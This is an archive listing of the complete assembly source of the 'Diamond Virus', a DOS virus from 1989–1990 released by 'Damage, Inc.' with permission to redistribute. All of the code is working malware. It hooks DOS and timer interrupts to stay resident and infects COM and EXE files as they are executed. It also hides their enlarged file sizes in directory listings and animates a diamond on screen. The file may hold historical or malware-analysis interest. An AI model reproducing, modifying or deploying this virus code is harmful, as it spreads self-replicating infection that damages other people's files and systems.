home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DIAMOND.ASM < prev    next >
Assembly Source File  |  1990-05-05  |  9KB  |  534 lines

  1.  
  2. ;     The Diamond Virus
  3. ;
  4. ;       Version  2.10
  5. ;
  6. ; also known as:
  7. ;    V1024, V651, The EGN Virus
  8. ;
  9. ; Basic release:   5-Aug-1989
  10. ; Last patch:       5-May-1990
  11. ;
  12. ;   COPYRIGHT:
  13. ;
  14. ; This program is (c) Copyright 1989,1990 Damage, Inc.
  15. ; Permission is granted to distribute this source provided the tittle page is
  16. ;   preserved.
  17. ; Any fee can be charged for distribution of this source, however, Damage, Inc.
  18. ;   distributes it freely.
  19. ; You are specially prohibited to use this program for military purposes.
  20. ; Damage, Inc. is not liable for any kind of damages resulting from the use of
  21. ;   or the inability to use this software.
  22. ;
  23. ; To assemble this program use Turbo Assembler 1.0
  24.  
  25.         .radix    16
  26.         .model    tiny
  27.         .code
  28. code_len    =    top_code-main_entry
  29. data_len    =    top_data-top_code
  30. main_entry:
  31.         call    locate_address
  32. gen_count    dw    0
  33. locate_address:
  34.         xchg    ax,bp
  35.         cld
  36.         pop    bx
  37.         inc    word ptr cs:[bx]
  38.         mov    ax,0d5aa
  39.         int    21
  40.         cmp    ax,2a03
  41.         jz    all_done
  42.         mov    ax,sp
  43.         inc    ax
  44.         mov    cl,4
  45.         shr    ax,cl
  46.         inc    ax
  47.         mov    dx,ss
  48.         add    ax,dx
  49.         mov    dx,ds
  50.         dec    dx
  51.         mov    es,dx
  52.         xor    di,di
  53.         mov    cx,(top_data-main_entry-1)/10+1
  54.         mov    dx,[di+2]
  55.         sub    dx,cx
  56.         cmp    dx,ax
  57.         jc    all_done
  58.         cli
  59.         sub    es:[di+3],cx
  60.         mov    [di+2],dx
  61.         mov    es,dx
  62.         lea    si,[bx+main_entry-gen_count]
  63.         mov    cx,top_code-main_entry
  64.         rep
  65.         db    2e
  66.         movsb
  67.         push    ds
  68.         mov    ds,cx
  69.         mov    si,20
  70.         lea    di,[di+old_vector-top_code]
  71.         org    $-1
  72.         mov    ax,offset dos_handler
  73.         xchg    ax,[si+64]
  74.         stosw
  75.         mov    ax,es
  76.         xchg    ax,[si+66]
  77.         stosw
  78.         mov    ax,offset time_handler
  79.         xchg    ax,[si]
  80.         stosw
  81.         xchg    ax,dx
  82.         xchg    ax,[si+2]
  83.         stosw
  84.         mov    ax,24
  85.         stosw
  86.         pop    ds
  87.         push    ds
  88.         pop    es
  89.         sti
  90. all_done:
  91.         lea    si,[bx+exe_header-gen_count]
  92.         db    2e
  93.         lodsw
  94.         cmp    ax,'ZM'
  95.         jz    exit_exe
  96.         mov    di,100
  97.         push    di
  98.         stosw
  99.         movsb
  100.         xchg    ax,bp
  101.         ret
  102. exit_exe:
  103.         mov    dx,ds
  104.         add    dx,10
  105.         add    cs:[si+return_address+2-exe_header-2],dx
  106.         org    $-1
  107.         add    dx,cs:[si+stack_offset+2-exe_header-2]
  108.         org    $-1
  109.         mov    ss,dx
  110.         mov    sp,cs:[si+stack_offset-exe_header-2]
  111.         org    $-1
  112.         xchg    ax,bp
  113.         jmp    dword ptr cs:[si+return_address-exe_header-2]
  114.         org    $-1
  115. infect:
  116.         mov    dx,offset exe_header
  117.         mov    cx,top_header-exe_header
  118.         mov    ah,3f
  119.         int    21
  120.         jc    do_exit
  121.         sub    cx,ax
  122.         jnz    go_error
  123.         mov    di,offset exe_header
  124.         les    ax,[di+ss_offset-exe_header]
  125.         org    $-1
  126.         mov    [di+stack_offset-exe_header],es
  127.         org    $-1
  128.         mov    [di+stack_offset+2-exe_header],ax
  129.         org    $-1
  130.         les    ax,[di+ip_offset-exe_header]
  131.         org    $-1
  132.         mov    [di+return_address-exe_header],ax
  133.         org    $-1
  134.         mov    [di+return_address+2-exe_header],es
  135.         org    $-1
  136.         mov    dx,cx
  137.         mov    ax,4202
  138.         int    21
  139.         jc    do_exit
  140.         mov    [di+file_size-exe_header],ax
  141.         org    $-1
  142.         mov    [di+file_size+2-exe_header],dx
  143.         org    $-1
  144.         mov    cx,code_len
  145.         cmp    ax,cx
  146.         sbb    dx,0
  147.         jc    do_exit
  148.         xor    dx,dx
  149.         mov    si,'ZM'
  150.         cmp    si,[di]
  151.         jz    do_put_image
  152.         cmp    [di],'MZ'
  153.         jz    do_put_image
  154.         cmp    ax,0fe00-code_len
  155.         jc    put_image
  156. go_error:
  157.         stc
  158. do_exit:
  159.         ret
  160. do_put_image:
  161.         cmp    dx,[di+max_size-exe_header]
  162.         org    $-1
  163.         jz    go_error
  164.         mov    [di],si
  165. put_image:
  166.         mov    ah,40
  167.         int    21
  168.         jc    do_exit
  169.         sub    cx,ax
  170.         jnz    go_error
  171.         mov    dx,cx
  172.         mov    ax,4200
  173.         int    21
  174.         jc    do_exit
  175.         mov    ax,[di+file_size-exe_header]
  176.         org    $-1
  177.         cmp    [di],'ZM'
  178.         jnz    com_file
  179.         mov    dx,[di+file_size-exe_header+2]
  180.         org    $-1
  181.         mov    cx,4
  182.         push    di
  183.         mov    si,[di+header_size-exe_header]
  184.         org    $-1
  185.         xor    di,di
  186. shift_size:
  187.         shl    si,1
  188.         rcl    di,1
  189.         loop    shift_size
  190.         sub    ax,si
  191.         sbb    dx,di
  192.         pop    di
  193.         mov    cl,0c
  194.         shl    dx,cl
  195.         mov    [di+ip_offset-exe_header],ax
  196.         org    $-1
  197.         mov    [di+cs_offset-exe_header],dx
  198.         org    $-1
  199.         add    dx,(code_len+data_len+100-1)/10+1
  200.         org    $-1
  201.         mov    [di+sp_offset-exe_header],ax
  202.         org    $-1
  203.         mov    [di+ss_offset-exe_header],dx
  204.         org    $-1
  205.         add    word ptr [di+min_size-exe_header],(data_len+100-1)/10+1
  206.         org    $-2
  207.         mov    ax,[di+min_size-exe_header]
  208.         org    $-1
  209.         cmp    ax,[di+max_size-exe_header]
  210.         org    $-1
  211.         jc    adjust_size
  212.         mov    [di+max_size-exe_header],ax
  213.         org    $-1
  214. adjust_size:
  215.         mov    ax,[di+last_page-exe_header]
  216.         org    $-1
  217.         add    ax,code_len
  218.         push    ax
  219.         and    ah,1
  220.         mov    [di+last_page-exe_header],ax
  221.         org    $-1
  222.         pop    ax
  223.         mov    cl,9
  224.         shr    ax,cl
  225.         add    [di+page_count-exe_header],ax
  226.         org    $-1
  227.         jmp    short put_header
  228. com_file:
  229.         sub    ax,3
  230.         mov    byte ptr [di],0e9
  231.         mov    [di+1],ax
  232. put_header:
  233.         mov    dx,offset exe_header
  234.         mov    cx,top_header-exe_header
  235.         mov    ah,40
  236.         int    21
  237.         jc    error
  238.         cmp    ax,cx
  239.         jz    reset
  240. error:
  241.         stc
  242. reset:
  243.         ret
  244. find_file:
  245.         pushf
  246.         push    cs
  247.         call    calldos
  248.         test    al,al
  249.         jnz    cant_find
  250.         push    ax
  251.         push    bx
  252.         push    es
  253.         mov    ah,51
  254.         int    21
  255.         mov    es,bx
  256.         cmp    bx,es:[16]
  257.         jnz    not_infected
  258.         mov    bx,dx
  259.         mov    al,[bx]
  260.         push    ax
  261.         mov    ah,2f
  262.         int    21
  263.         pop    ax
  264.         inc    al
  265.         jnz    fcb_standard
  266.         add    bx,7
  267. fcb_standard:
  268.         mov    ax,es:[bx+17]
  269.         and    ax,1f
  270.         xor    al,1e
  271.         jnz    not_infected
  272.         and    byte ptr es:[bx+17],0e0
  273.         sub    es:[bx+1dh],code_len
  274.         sbb    es:[bx+1f],ax
  275. not_infected:
  276.         pop    es
  277.         pop    bx
  278.         pop    ax
  279. cant_find:
  280.         iret
  281. dos_handler:
  282.         cmp    ah,4bh
  283.         jz    exec
  284.         cmp    ah,11
  285.         jz    find_file
  286.         cmp    ah,12
  287.         jz    find_file
  288.         cmp    ax,0d5aa
  289.         jnz    calldos
  290.         not    ax
  291. fail:
  292.         mov    al,3
  293.         iret
  294. exec:
  295.         cmp    al,2
  296.         jnc    calldos
  297.         push    ds
  298.         push    es
  299.         push    ax
  300.         push    bx
  301.         push    cx
  302.         push    dx
  303.         push    si
  304.         push    di
  305.         mov    ax,3524
  306.         int    21
  307.         push    es
  308.         push    bx
  309.         mov    ah,25
  310.         push    ax
  311.         push    ds
  312.         push    dx
  313.         push    cs
  314.         pop    ds
  315.         mov    dx,offset fail
  316.         int    21
  317.         pop    dx
  318.         pop    ds
  319.         mov    ax,4300
  320.         int    21
  321.         jc    exit
  322.         test    cl,1
  323.         jz    open
  324.         dec    cx
  325.         mov    ax,4301
  326.         int    21
  327. open:
  328.         mov    ax,3d02
  329.         int    21
  330.         jc    exit
  331.         xchg    ax,bx
  332.         mov    ax,5700
  333.         int    21
  334.         jc    close
  335.         mov    al,cl
  336.         or    cl,1f
  337.         dec    cx
  338.         xor    al,cl
  339.         jz    close
  340.         push    cs
  341.         pop    ds
  342.         push    cx
  343.         push    dx
  344.         call    infect
  345.         pop    dx
  346.         pop    cx
  347.         jc    close
  348.         mov    ax,5701
  349.         int    21
  350. close:
  351.         mov    ah,3e
  352.         int    21
  353. exit:
  354.         pop    ax
  355.         pop    dx
  356.         pop    ds
  357.         int    21
  358.         pop    di
  359.         pop    si
  360.         pop    dx
  361.         pop    cx
  362.         pop    bx
  363.         pop    ax
  364.         pop    es
  365.         pop    ds
  366. calldos:
  367.         jmp    cs:[old_vector]
  368.         .radix    10
  369. adrtbl        dw    1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
  370.         dw    2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
  371.         dw    2480,2482,2640
  372. diftbl        dw    -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
  373.         dw    -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
  374.         dw    324
  375. valtbl        dw    3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
  376.         dw    3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
  377.         dw    2820,2820,2308
  378. xlatbl        dw    -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
  379.         dw    -316,324,-156,164
  380.         .radix    16
  381. time_handler:
  382.         push    ds
  383.         push    es
  384.         push    ax
  385.         push    bx
  386.         push    cx
  387.         push    dx
  388.         push    si
  389.         push    di
  390.         push    cs
  391.         pop    ds
  392.         cld
  393.         mov    dx,3da
  394.         mov    cx,19
  395.         mov    si,offset count
  396.         mov    ax,[si]
  397.         test    ah,ah
  398.         jnz    make_move
  399.         mov    al,ah
  400.         mov    es,ax
  401.         cmp    al,es:[46dh]
  402.         jnz    exit_timer
  403.         mov    ah,0f
  404.         int    10
  405.         cmp    al,2
  406.         jz    init_diamond
  407.         cmp    al,3
  408.         jnz    exit_timer
  409. init_diamond:
  410.         inc    byte ptr [si+1]
  411.         sub    bl,bl
  412.         add    bh,0b8
  413.         mov    [si+2],bx
  414.         mov    es,bx
  415. wait_snow:
  416.         in    al,dx
  417.         test    al,8
  418.         jz    wait_snow
  419.         mov    si,offset valtbl
  420. build_diamond:
  421.         mov    di,[si+adrtbl-valtbl]
  422.         movsw
  423.         loop    build_diamond
  424. exit_timer:
  425.         pop    di
  426.         pop    si
  427.         pop    dx
  428.         pop    cx
  429.         pop    bx
  430.         pop    ax
  431.         pop    es
  432.         pop    ds
  433.         jmp    cs:[old_timer]
  434. count_down:
  435.         dec    byte ptr [si]
  436.         jmp    exit_timer
  437. make_move:
  438.         test    al,al
  439.         jnz    count_down
  440.         inc    byte ptr [si]
  441.         mov    si,offset adrtbl
  442. make_step:
  443.         push    cx
  444.         push    cs
  445.         pop    es
  446.         lodsw
  447.         mov    bx,ax
  448.         sub    ax,140
  449.         cmp    ax,0d20
  450.         jc    no_xlat
  451.         test    ax,ax
  452.         mov    ax,[si+diftbl-adrtbl-2]
  453.         jns    test_xlat
  454.         test    ax,ax
  455.         js    do_xlat
  456.         jmp    short no_xlat
  457. test_xlat:
  458.         test    ax,ax
  459.         js    no_xlat
  460. do_xlat:
  461.         mov    di,offset xlatbl
  462.         mov    cx,10
  463.         repnz    scasw
  464.         dec    di
  465.         dec    di
  466.         xor    di,2
  467.         mov    ax,[di]
  468.         mov    [si+diftbl-adrtbl-2],ax
  469. no_xlat:
  470.         mov    ax,[si-2]
  471.         add    ax,[si+diftbl-adrtbl-2]
  472.         mov    [si-2],ax
  473.         mov    cx,19
  474.         mov    di,offset adrtbl
  475. lookup:
  476.         jcxz    looked_up
  477.         repnz    scasw
  478.         jnz    looked_up
  479.         cmp    si,di
  480.         jz    lookup
  481.         mov    [si-2],bx
  482.         mov    ax,[si+diftbl-adrtbl-2]
  483.         xchg    ax,[di+diftbl-adrtbl-2]
  484.         mov    [si+diftbl-adrtbl-2],ax
  485.         jmp    lookup
  486. looked_up:
  487.         mov    es,[homeadr]
  488.         mov    di,bx
  489.         xor    bx,bx
  490.         call    out_char
  491.         mov    di,[si-2]
  492.         mov    bx,[si+valtbl-adrtbl-2]
  493.         call    out_char
  494.         pop    cx
  495.         loop    make_step
  496.         jmp    exit_timer
  497. out_char:
  498.         in    al,dx
  499.         test    al,1
  500.         jnz    out_char
  501. check_snow:
  502.         in    al,dx
  503.         test    al,1
  504.         jz    check_snow
  505.         xchg    ax,bx
  506.         stosw
  507.         ret
  508. stack_offset    dd    ?
  509. return_address    dd    ?
  510.         db    '7106286813'
  511. exe_header:    int    20
  512. last_page:    nop
  513. top_code:
  514.         db    ?
  515. page_count    dw    ?
  516.         dw    ?
  517. header_size    dw    ?
  518. min_size    dw    ?
  519. max_size    dw    ?
  520. ss_offset    dw    ?
  521. sp_offset    dw    ?
  522.         dw    ?
  523. ip_offset    dw    ?
  524. cs_offset    dw    ?
  525. top_header:
  526. file_size    dd    ?
  527. old_vector    dd    ?
  528. old_timer    dd    ?
  529. count        db    ?
  530. flag        db    ?
  531. homeadr     dw    ?
  532. top_data:
  533.         end
  534.